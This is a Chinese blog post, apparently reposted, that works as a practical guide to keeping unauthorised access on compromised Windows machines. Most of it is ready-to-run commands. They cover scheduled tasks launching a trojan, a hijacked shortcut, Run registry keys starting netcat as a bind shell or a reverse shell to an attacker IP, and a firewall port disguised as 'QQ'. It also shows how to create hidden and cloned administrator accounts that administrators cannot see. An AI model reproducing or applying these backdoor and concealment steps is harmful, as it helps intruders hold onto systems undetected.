windows系统后渗透阶段权限维持方法小结
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows系统后渗透阶段权限维持方法小结相关的知识,希望对你有一定的参考价值。
前言
归纳下windows系统维持权限的方法
1、schtasks 计划任务
schtasks 是 Windows 自带的命令,使用 schtasks 命令创建计划任务
下面这句的意思是创建一个名称是 test 的计划任务,每隔一分钟去运行一次 5555.exe 文件:
schtasks /create /sc MINUTE /mo 1 /tr C:\\Users\\Administrator\\Desktop\\mx\\5555.exe /tn test
提前使用 msf 或者 nc 监听上传到目标机器的 5555.exe 木马文件,等到任务自动开始执行后,攻击机就会收到反弹的shell
2、快捷方式劫持
Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用,快捷方式的文件扩展名是.LNK
- 右键查看软件的属性中的快捷方式的目标路径
- 将下面的命令修改到"目标"输入框并保存
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c "invoke-item 'C:\\phpstudy_pro\\COM\\phpstudy_pro.exe'; invoke-item c:\\windows\\system32\\calc.exe"
这个指令里
- 第一个 invoke-item 后面写软件本身的路径
- 第二个 invoke-item 后面写要打开的木马文件,这里是以打开计算器为例
意思是使用 powershell 打开原来的软件本身的同时打开计算器,后者可以修改为上传到目标机器的木马文件或者恶意命令等。用 msf 、nc等提前监听好木马文件的端口,受害机器打开软件后就会反弹 shell
注意:通过这种方式劫持快捷方式会将原应用图标自动修改为 powershell 的图标,所及修改完毕后记得更改一下图标
3、开机自启动注册表项
以下注册表项中的内容(键值)会在开机的时候按照顺序自动启动。因此留后门的思路就是在这些注册表项中添加内容,让它在开机的时候自动启动。
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
(1)手动修改
以上面的第一个注册表项为例,在右侧右键 -> 新建 -> 字符串值 -> 填写名称和要执行的程序或命令
攻击机器使用 msf 监听木马文件内设置的 4444 端口,然后等待目标机器启动,木马文件就会自动运行,攻击机器 msf 成功拿到 shell
(2)使用 msf 自动修改注册表,添加 nc 后门
msf 拿到目标机器的 meterpreter 之后(system权限),进入 meterpreter,然后依次执行下面命令:
# 将 nc 文件从攻击机上传到目标机
upload /root/nc.exe C:\\\\Windows\\\\system32
# 进入cmd交互环境
shell
# 查询下面这个注册表项下的键值
reg query HKLM\\software\\microsoft\\windows\\currentversion\\run
# 在这个注册表项中添加键值,名称是 nc ,值是 nc 的路径,并开启 5555 端口进行正向连接
reg add HKLM\\software\\microsoft\\windows\\currentversion\\run /v nc /t REG_SZ /d "C:\\windows\\system32\\nc.exe -Ldp 5555 -e cmd.exe"
# 查询 nc 键值是否添加成功
reg query HKLM\\software\\microsoft\\windows\\currentversion\\run /v nc
# 查看目标机器防火墙是否开启
netsh firewall show opmode
# 设置防火墙不拦截 5555 端口,并将端口伪装成 QQ
netsh firewall add portopening TCP 5555 "QQ" ENABLE ALL
# 重启目标机器
shutdown /r /f /t 0
目标机器重启后就可以看到 nc 已经自动启动(我这里是64位的版本)。
此时在攻击机使用 nc 去正向连接即可,ip 是目标机器的 ip
nc 192.168.1.62 5555
真实渗透场景中,攻击机可能不能直接访问内网的目标机器,所以也可以使用反向 shell
在上面添加注册表那一步的时候,将 nc 的命令修改为如下,ip 是攻击机的 IP:
C:\\windows\\system32\\nc.exe -e cmd.exe -d 147.35.24.6 5555
攻击机在后台监听,等待目标机器上线
nc -lvvp 5555
(3)补充
除了上面的5个注册表项,还有以下也可以
# 仅会被自动执行一次
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
# 程序会在系统加载时自动启动执行一次
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
# RunServices是继RunServicesOnce之后启动的程序
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices
4、后门账号
(1)添加隐藏账户
这种方式在命令行中 net user
不能看到创建的用户,但是在 控制面板 - 用户账户
中可以看到,同样在机器重启登录的时候也能看到这个用户,所以…这不算真正的隐藏
# 添加后门账户 test1$
net user test1$ passwd123 /add
# 后门账户添加到管理员组
net localgroup administrators test1$ /add
与创建普通账户的区别就是在用户名后面加了个 ‘$’ 符号
(2)激活Guest用户
Guest 用户在 Windows 上默认是不开启的,可以把他开启并添加到管理员组,但是被管理员发现的话还是很容易删除
# 设置 guest 账户密码
net user guest passwd123
# guest 账户添加到管理员组
net localgroup administrators guest /add
# 激活账户
net user guest /active:yes
(3)克隆账户
这种方式隐藏算是比较稳妥的办法。用’$'创建匿名用户,并归到 administrators 用户组
net user test2$ passwd123 /add /y
net localgroup administrators test2$ /add
打开注册表,依次进入如下路径
HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names
创建的 test2$ 用户类型为 0x3ec,在左侧有对应的一个 000003EC,同样的 Administrator 用户的类型也对应一个 000001F4
将 3.reg 的 F 值替换到 2.reg,也就是 Administrator 用户的 F 值替换给 test2$ 用户
- 在 test2$ 上右键 -> 导出,保存为 1.reg 文件
- 在 000003EC 上右键 -> 导出,保存为 2.reg 文件
- 在 000001F4 上右键 -> 导出,保存为 3.reg 文件
删除 test2$ 用户
net user test2$ /del
在保存 reg 文件的目录打开命令行,导入修改后的 test2$ 用户注册表信息
regedit /s 1.reg
regedit /s 2.reg
此时无论是 net user 、控制面板、登陆页面都无法看到 test2$ 用户
只有知道具体的用户名,通过 net user test2$
命令才可以看到它的详细信息。此时就隐藏并克隆继承了 Administrator 的全部权限
除此之外,维持权限还有很多方法,例如系统工具替换成 cmd.exe(沾滞键、讲述人等),msf 维权模块、meterpreter 的一些方法等等,
结语
归纳了下一些常见的windows系统维持权限的方法
以上是关于windows系统后渗透阶段权限维持方法小结的主要内容,如果未能解决你的问题,请参考以下文章